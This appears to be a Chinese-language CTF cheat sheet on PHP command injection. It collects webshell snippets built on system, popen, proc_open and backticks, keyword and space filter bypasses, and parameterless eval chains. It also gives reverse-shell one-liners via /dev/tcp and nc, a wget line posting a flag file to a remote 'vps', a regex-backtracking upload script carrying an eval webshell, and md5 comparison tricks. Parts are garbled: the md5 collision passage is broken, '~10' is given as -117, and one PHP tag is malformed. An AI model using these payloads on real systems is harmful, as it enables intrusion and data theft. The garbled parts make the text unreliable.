RCE(命令注入)注入方式以及绕过姿势总结

这里总结了常见的RCE注入方式和绕过姿势,本人才疏学浅,可能覆盖面不够广,以后在练习中遇到新的会继续总结,持续更新中。

[1](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/16977213376601.webp)

常见的PHP的执行命令函数如下:

system():

1
2
3
4
<?php 
$cmd=$_GET['cmd'];
system($cmd)
?>

popen():

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。

1
2
3
4
5
6
7
<?php 
$cmd=$_GET['cmd'];
$fd = popen($cmd, 'r');
while($s=fgets($fd)){
print_r($s);
}
?>

passthru():

1
2
3
4
<?php 
$cmd=$_GET['cmd'];
passthru($cmd);
?>

shell_exec():

需通过PHP的输出函数将结果输出;

1
2
3
4
5
<?php 
$cmd=$_GET['cmd'];
$a=shell_exec($cmd);
echo $a;
?>

proc_open():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<php   
$command=$_GET['command'];
$descriptorspec=array( 0=>array('pipe','r'), 1=>array('pipe','w'), 2=>array('pipe','w') );
$handle=proc_open($command,$descriptorspec,$pipes,NULL);
if(!is_resource($handle)){
die('proc_open failed');
}
while($s=fgets($pipes[1])){print_r($s);
}
while($s=fgets($pipes[2])){print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>

exec():

exec执行command命令,但是不会输出全部结果,而是返回结果的最后一行,如果想得到全部的结果,可使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行。

1
2
3
4
5
6
7
8
9
10
11
12
string exec ( string $command [, array &$output [, int &$return_var ]] )
<?php
$command=$_GET['cmd'];
$cmd=exec($command,$output);
echo $cmd;
echo "<br>";
$length=count($output);
for($i=0;$i<$length;$i++){
echo $output[$i];
echo "<br>";
}
?>

$command:

1
2
3
4
5
<?php 
$cmd=$_GET['cmd'];
$a=`$cmd`;
echo $a;
?>

注入方式

执行系统命令

一般会过滤字符

内联执行(反字节符)

1
echo%20`tac%20fla*`;

echo配合反引号

利用参数输入+eval

1
?c=eval($_GET[1]);&1=system("tac%20fla*.php");

利用参数输入+include

这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。

1
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

利用cp命令将flag拷贝到别处

1
cp flag.php a.txt

中国蚁剑

传入一句话木马然后蚁剑连接

无参数RCE

条件:

  • (?R)引用当前表达式,后面加了?递归调用。允许执行类似a(b(c()))格式的无参数函数;

实例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['exp'])) {
if (!preg_match('/na|info|dec|oct|pi|log/i', $_GET['exp'])) {

@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
highlight_file(__FILE__);
?>

/[^\W]+\((?R)?\)/:这是正则表达式模式,它包含以下部分:

  • [^\W]+:这是一个字符类,匹配不是非单词字符(包括字母、数字和下划线)的字符。这部分表示匹配一个或多个非括号字符。
  • \(:这是匹配左括号 “(“ 的普通字符。
  • (?R)?:这是一个递归子模式,它允许在模式中嵌套匹配括号内的内容。(?R) 表示匹配模式自身,这允许在括号内嵌套括号。? 表示这个部分是可选的,允许零次或一次匹配。
  • \):这是匹配右括号 “)” 的普通字符。

方法一

查看当前目录下的文件,此处利用scandir()实现:

1
<?php print_r(scandir(".")); #表示获取当前目录下的文件;?>

image-20231026111926287

1
<?php print_r(scandir("../"));  #表示获取上一级目录下的文件;?>

image-20231026112032217

于是,可以利用该函数,查看目标系统目录,寻找包含flag的文件位置。由于正则表达式限制,不能再scandir('.')函数中加入参数。故此处使用current(localeconv())表示“.”。其中localeconv()函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是”.”。current() 返回数组中的当前单元, 默认取第一个值。

读取文件内容我们可以想到的函数有:

  • file_get_contents() #把整个文件读入一个字符串中;
  • file #把整个文件读入一个数组中;
  • readfile() #读入一个文件并写入到输出缓冲;
  • highlight_file() #对文件进行语法高亮显示;
  • show_source() #对文件进行语法高亮显示;

\3. 刚刚列举的几个函数,都需要将要读取的文件作为参数进行读取操作,由于题中代码用正则表达式限制,不能接收参数,该如何将文件名写道函数里面,然后读取文件内容呢?

  • 利用array_flip()函数将读取当前目录的键和值进行反转,然后读取其中的值即可获得flag.php
  • 其中的键可以利用随机数函数array_rand(),进行随机生成;

一:
使用使上述文件数组反转后取next位即flag.php。然后读取文件
构造

1
exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

二:
同上述方法,但方法一有局限性,只能得到数组的第二位或者倒数第二位。其他情况可以使用随机返回键名的方法(刷新几次就可以得到):

1
exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));

三:

session_start(): 告诉PHP使用session;
session_id(): 获取到当前的session_id值;
手动设置cookie中PHPSESSID=flag.php;

所以可以构造

1
exp=show_source(session_id(session_start()));

方法二

除了调用php自身的库函数读取文件内容以外,还可以通过调用php的执行命令函数,读取flag文件内容。

\1. 在无需输入参数的情况下,获取外界变量值

此处,用到一个函数,get_defined_vars ( void ) ,此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量等。

1
2
print_r(get_defined_vars());&b=1
var_dump(get_defined_vars());&b=1

\2. 提取变量b,并输出对应的值1

通过输出的值可以看出变量b在参数数组中为第一个值,故可以用current函数,current函数用于初始指向插入到数组中的第一个单元。

1
exp=var_dump(end(current(get_defined_vars())));&b=1

image-20231026125215655

\3. 命令执行

于是,最后一步,配合使用eval()函数,将b后面参数转换成php代码进行执行,此处可以使用上面介绍的几种命令执行函数获取flag。

1
?exp=eval(end(current(get_defined_vars())));&b=phpinfo();

image-20231026125423255

方法三

通常情况下我们通过get、post传递参数,其实也可以利用http headers传递参数。此处就给大家介绍一种利用http headers头部的session的函数获取flag内容。通过查阅PHP手册,可以发现session_id() 可以用来获取/设置当前会话 ID。接下来就介绍下session_id()函数。

当在代码中没有开启session会话时,提交请求中是不包含session字段内容的,如下所示:

1
2
3
4
<?php 
$aa = $_GET['cmd'];
echo $aa;
?>

当我们通过session_start()函数,开启会话以后,在burpsuite拦截的数据包中,可以看到PHPSESSIONID字段。

1
2
3
4
5
<?php 
$aa = $_GET['cmd'];
echo $aa;
session_start();
?>

也可以输出session_id相关内容,并且session_id我们也可以认为控制输入。

1
2
3
4
5
6
<?php 
$aa = $_GET['cmd'];
echo $aa;
session_start();
echo session_id();
?>

由于,session_id()中,仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号);故此时使用十六进制转换,将phpinfo();转换成十六进制,在函数中又将其转换成对应的字符串形式即可。相关代码如下所示:

1
2
3
4
5
<?php 
$aa = $_GET['cmd'];
echo $aa; session_start();
eval(hex2bin(session_id()));
?>

绕过姿势

preg_match过滤

用*代替个别字符

使用eval嵌套。具体参数:passthru 结合%09

还可以跑脚本

过滤空格

1
2
3
4
5
6
7
8
9
CODE
$IFS
${IFS}
$IFS$9
<
<>
{cat,flag.php}
%20
%09 TAB

过滤关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
more flag
tail flag
fmt flag
rev flag
tac flag
base64 flag
iconv -f utf-8 -t utf-7 flag
iconv -f utf-8 -t utf-16 flag
CODE
ca\t yin\g.php 反斜杠绕过
cat y1''ng.php 两个单引号绕过
echo "Y2F0IHKxbmcucGhw" | base64 -d | bash base64编码
echo "6361742079316E672E706870" | xxd -r -p | bash hex编码
cat y1 [n] g.php 用[]匹配
cat y1n* 用*匹配任意
cat y1n?
cat y1{a..z}g
内联执行

绕过正则

1
2
3
4
换行污染
aaa\n127.0.0.1
服务器代理监听80
wget -P /tmp -e http_proxy=vps --method=POST --body-file=/Users/amortang/Desktop/1/flag

Bash盲注

1
2
3
4
5
6
利用&&的特性,只有前一条语句成功后一条语句执行
1.利用 grep -e "^flag" flag && sleep 5
只有匹配到flag文件的内容以flag开头,那么延时5s
2.a = `cat flag`;echo${a:1:1} ${A:B:C}截取A,从B位置开始,共截取C位

3.echo $a | cut -c 4 截取第四位 可以进行匹配

source命令

用法:source filename

表示在当前bash环境下读取并执行filename中的命令

该命令通常用命令“.”来替代,即 . filename

?通配符

主要有星号(*)和问号(?),用来模糊搜索文件

星号”*”指代任意字符数,问号“?”指代1个字符

波浪线“~”则用来将问号和星号转换为普通字符,而不是作为通配符使用

比如我们要cat一个flag东西但是不知道具体名字,只知道以f开头

可以 cat /f* 则会匹配所有以f开头的文件

有时候还会遇到很多字母被过滤了也可以使用?来进行匹配

比如只能使用o这一个字母, /???/??oo?/??o? 就可以匹配到 /var/spool/cron(假设该路径存在)

<?=的用法

命令执行方式有:

1
system('ls'); echo('ls');
1
?><?=`ls`;
前面的 ?>

是为了闭合前面的php语句,后面则为执行命令的语句

反引号``(tab键上面的那个)

在php中,反引号可以直接命令执行系统命令,反引号的作用是命令替换,将其中的字符串当成shell命令执行,返回命令的执行结果。反引号包括的字符串必须是能执行的shell命令,如果不是则会出错。

比如: 就会执行ls命令

但是如果想要输出执行结果还需要使用 echo 函数

1
<?php echo `ls`;?> 或者 <?= echo `ls`?>

php标签

在php中,

1
<? ?>

称为短标签,

1
<?php ?>

称为长标签。

当关键字 “php” 被过滤了之后,此时我们便不能使用了,但是我们可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号(;)。

+在url中表示空格

url中的+表示空格,而要表示+号必须得用%2B,即URL编码Shell字符串截取

md5常见问题及绕过

1、 md5爆破
2、md5弱比较
3、md5强比较
4、md5强碰撞
5、加密后弱相等
6、解密后的md5字符串有特殊字符

md5爆破

substr(md5(captcha), -6, 6) == "5bcba3"
给出md5加密后的几位,可以进行爆破

1
2
3
4
5
6
7
8
<?php
for($i=0;$i<10000;$i++){
if(substr(md5($i),-6,6)=="5bcba3"){
echo $i;
break;
}
}
?>

功防世界-SSRF Me
这是涉及到该知识点的题目

md5弱比较

md5弱比较形式:
if($a != $b && md5($a) == md5($b))
这里有两种方法

  • 0e绕过
  • 数组绕过

0e绕过:是md5加密后是0exxxxx的形式,在==弱比较时,会被当做科学技术法,众所周知,0的任何次方都是0,自然判断为true
大佬整理的md5加密后0e开头

数组绕过:a[]=a&b[]=b,传入参数为数组则MD5返回NULL,null=null,判断为true,成功绕过

md5强比较

md5强比较形式:
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
0e绕过不能用了,因为强比较时,0exxx不再被当做科学计数法,而是被当做字符串。
数组绕过仍然可以。

md5强碰撞

什么叫强md5碰撞?
一般比较简单的是像这种 if(md5(a 1 ) = = m d 5 ( a1) == md5(a1)==md5(a2)),我们称为弱比较类型,而像 if(md5(a 1 ) = = = m d 5 ( a1) === md5(a1)===md5(a2)) 则是属于强比较类型,区别就是 == 和 ===,我们可以这么理解

== :只比较值
=== :比较值和类型

md5强碰撞形式:
if((string)$_POST['a']!==(string)$_POST['b'] && md5($_POST['a'])===md5($_POST['b']))
强碰撞用string强行转换成字符串,从而限制了数组绕过这方法,只能输入字符串。
将a.txt拖到fastcoll_v1.0.0.5.exe上,然后读a_msg1.txt和a_msg2.txt
image.png

1
2
3
4
5
6
7
8
9
<?php

$a = file_get_contents("D:\a_msg1.txt");
$b = file_get_contents("D:\a_msg2.txt");

print_r($a . "<br>");
print_r($b . "<br>");
print_r(var_dump($a === $b) . "<br>"); // bool(false)
print_r(var_dump(md5($a) === md5($b)) . "<br>"); // bool(true)

md5强碰撞
[buu-easy_web](https://buuoj.cn/challenges#[安洵杯 2019]easy_web)

加密后弱相等

形式如下:
if ($md5==md5($md5))
可以找0e开头并且md5后仍然0e开头的字符串,这样0==0,就可以绕过了。
这里可以用0e215962017。
buu-朴实无华
师傅们可以尝试一下

md5后含有特殊字符

PHP的md5()函数我们一般指使用一个参数,但它是有两个参数的,第二个参数默认为false
看一下PHP手册
img
比较一下两种方式的不同
img
介绍完后,我们来看题目
buu上的一道题
有md5弱比较,强比较和特殊字符3个点
[Easy MD5](https://buuoj.cn/challenges#[BJDCTF2020]Easy MD5)
select * from 'admin' where password=md5($pass,true)

Shell字符串截取

从指定位置开始截取

从字符串左边开始计数

从左边开始计数,截取字符串的格式如下

1
${string:start:length}

例如:

1
2
3
#! /bin/bash
url="http://www.baidu.com"
echo ${url:5:11}

结果为//www.baidu

再如:

1
2
3
#! /bin/bash
url="http://www.baidu.com"
echo ${url:5} #省略length,截取到字符串末尾

从右边开始计数

从右边开始计数,截取字符串的格式如下

1
${string:0-start:length}

同从左边开始计数相比,这种格式仅仅多了0-,这是固定的写法,专门用来标识从字符串右边开始计数

需要注意下面两点:

  • 从左边开始计数时,起始数字是0;从右边开始计数时,起始数字是1
  • 不管从哪边计数,截取方向都是从左到右

例如:

1
2
3
#! /bin/bash
url="http://www.baidu.com"
echo ${url:0-9:5}

结果为baidu。从右边数,b是第9个字符

再如:

1
2
3
#! /bin/bash
url="http://www.baidu.com"
echo ${url:0-9} #省略length,直接截取到字符串末尾

结果为baidu.com

从指定字符(子字符串)开始截取

这种截取方式无法指定字符串长度,只能从指定字符(子字符串)截取到字符串末尾。Shell 可以截取指定字符(子字符串)右边的所有字符,也可以截取左边的所有字符。

使用#号截取右边字符

使用#号可以截取指定字符(子字符串)右边的所有字符,具体格式如下:

1
${string#*chars}

其中,string表示要截取的字符串,chars是指定的字符(或子字符串),是通配符,表示任意长度的字符串,chars连起来可理解为忽略左边的所有字符,直到遇到chars(chars不会被截取)
例如:

1
2
3
#! /bin/bash
url="http://www.baidu.com"
echo ${url#*://}

结果为www.baidu.com

如果不需要忽略chars左边的字符,那么也可以不写*,例如

1
2
3
#! /bin/bash
url="http://www.baidu.com"
echo ${url#http://}

结果为www.baidu.com

注意:以上写法遇到第一个匹配的字符(子字符串)就结束了。
例如

1
2
3
#! /bin/bash
url="http://www.baidu.com/index.html"
echo ${url#*/}

结果为/www.baidu.com/index.html。url字符串中有三个/,输出结果表明,Shell遇到第一个/就匹配结束了

如果希望直到最后一个指定字符(子字符串)再匹配结束,那么可以使用##,具体格式为:
${string##*chars}

例如:

1
2
3
4
5
6
7
8
#! /bin/bash
url="http://www.baidu.com/index.html"
echo ${url#*/} #结果为/www.baidu.com/index.html
echo ${url##*/} #结果为index.html

str="---aa+++aa@@@"
echo ${str#*aa} #结果为+++aa@@@
echo ${str##*aa} #结果为@@@

使用%截取左边字符

使用%号可以截取指定字符(或者子字符串)左边的所有字符,具体格式如下:

1
${string%chars*}

请注意*的位置,因为要截取chars左边的字符,而忽略chars右边的字符串,所以*应该位于chars右侧,其他方面 %#号的用法相同

1
2
3
4
5
6
7
8
#! /bin/bash
url="http://www.baidu.com/index.html"
echo ${url%/*} #结果为http://www.baidu.com
echo ${url%%/*} #结果为http:

str="---aa+++aa@@@"
echo ${str%aa*} #结果为---aa+++
echo ${str%%aa*} #结果为---

无回显RCE

参考

反弹shell

遇到这种无回显的命令执行,很常见的一个思路是反弹shell,因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了

一般来讲我们反弹shell都用的bash -i >& /dev/tcp/ip/port 0>&1这条命令,但这里我不知道哪里出了问题,在docker中可以成功反弹但放到php命令执行中就反弹不了了,所以说无奈之下我就只能使用nc进行反弹,但其实这是很不实用的,因为很多docker中都没有安装nc,这里就先演示一下用nc反弹,利用nc -e /bin/sh ip port进行反弹

dnslog外带数据法

DNS(域名解析):

域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。

域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。

而如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要通过linux中的ping命令或者curl命令哈

DNSlog 就是存储在 DNS Server 上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件, DNSlog 在线平台

基本原理

我注册了一个为 a.com 的域名,我将他 a 记录泛解析到 10.0.0.0 上,这样就实现了无论我记录值填什么他都有解析,并且都指向 10.0.0.0,当我向 dns 服务器发起 test.a.com 的解析请求时,DNSlog 中会记录下他给 test.a.com 解析,解析值为 10.0.0.0(通俗来讲就是我们申请一个 dnslog 的平台,当我们盲注的时候把想要的数据和平台给的地址拼接起来,dnslog 平台就会把请求的记录显示出来)。
2021052316450053

preg_match正则回溯绕过

正则回溯然后量过大必然会消耗大量的时间甚至会被DOS攻击

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。

我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限。回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
poc:
import requests
from io import BytesIO

url = "http://xxx.xxx.xxx/"

files = {
'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000)
}

res = requests.post(url=url, files=files, allow_redirects=False)

print(res.headers)

参考

利用位运算符进行构造

1.与(&)运算符
规则:两个操作数对应二进制位同样为1 结果位 才为1,否则为0;

所以10&12=8

2.或(|)运算符
规则:两个操作数对应二进制位同样为0结果位 才为0,否则为1;

所以10|12=14

3.非(~,按位取反)运算符
规则:一个二进制操作数,对应位为0,结果位为1;对应位为1,结果位为0; (作用是将每位二进制取反)

(~10)=-117

4.异或(^)运算符
规则:两个操作数对应二进制位相同则结果位 为0,不同则为1

10^12=6

5.移位运算符(<< 和 >>)

  1. 左移(<<)运算符
    右边空出来的位用0填补高位左移溢出则舍弃该高位

在数字没有溢出的前提下,对于正数和负数,左移一位都相当于乘以2的1次方,左移n位就相当于乘以2的n次方。—–》乘法

  1. 右移(>>)运算符
    左边空出来的位用0或1填补,正数用0负数用1填补。